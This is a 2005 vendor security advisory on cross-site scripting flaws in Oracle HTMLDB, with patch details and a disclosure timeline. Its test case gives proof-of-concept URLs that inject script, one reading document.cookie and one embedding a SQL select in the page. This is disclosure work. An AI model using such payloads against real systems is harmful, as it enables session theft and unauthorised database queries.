Cross-Site-Scripting Vulnerabilities in Oracle HTMLDB ##################################################### Name Cross-Site-Scripting Vulnerabilities in Oracle HTMLDB Systems Affected Oracle HTMLDB Severity Medium Risk Category Cross Site Scripting (CSS/XSS) Vendor URL http://www.oracle.com This advisory http://www.red-database-security.com/advisory/oracle_htmldb_css.html Author Alexander Kornbrust (ak at red-database-security.com) Date 7 October 2005 (V 1.00) Details ####### Oracle HTML DB is a rapid web application development tool for the Oracle database. Using only a web browser and limited programming experience, it is possible to develop and deploy professional-looking applications that are both fast and secure. HTMLDB contains some Cross Site Scritpting vulnerabilities. An attacker could abuse these security bugs to execute own SQL statements in the database by sending specially crafted HTMLDB url to a HTMLDB user. Affected Products ################# Oracle HTMLDB Testcase: (displays the current date (sysdate from a select-command) in a javascript message box) ######### http://htmldb.oracle.com/pls/otn/f?p=4500:alert(document.cookie);59:3239 664590547916206 http://htmldb.oracle.com/pls/otn/wwv_flow.accept?p_flow_id=4500&p_flow_s tep_id=3&p_instance=428576542275032284&p_page_submission_id=3334304&p_re quest=RUN&p_arg_names=4407099841&p_t01=KORNBRUST&p_arg_names=99887653550 5&p_t02=select sysdate||'alert("'||sysdate||'");' from dual%3B&p_arg_names=57198154917561018&p_t03=&p_arg_names=509238151638600 37&p_t04=&p_arg_names=64882231271599126&p_t05=&p_arg_names=5706451897538 5648&p_t06=&p_arg_names=57356416829253124&p_t07=&p_arg_names=30322022623 394012&p_t08=&p_arg_names=106590927281022368&p_t09=&p_md5_checksum= Patch Information ################# This bug is fixed with Critical Patch Update April 2005 (CPU April 2005). Oracle forgot to inform Red-Database-Security that this bug is fixed with CPU April 2005. Oracle also forgot to mention Red-Database-Security in the credits of CPU April 2005. All already published alerts are available on the web site of Red-Database-Security GmbH http://www.red-database-security.com/advisory/published_alerts.html History ####### 18-feb-2004 Oracle secalert was informed 19-feb-2004 Bug confirmed 13-apr-2005 Oracle published CPU April 2005 without informing Red-Database-Security that this bug is already fixed. 07-oct-2005 Red-Database-Security published this advisory © 2005 by Red-Database-Security GmbH - 7-october-2005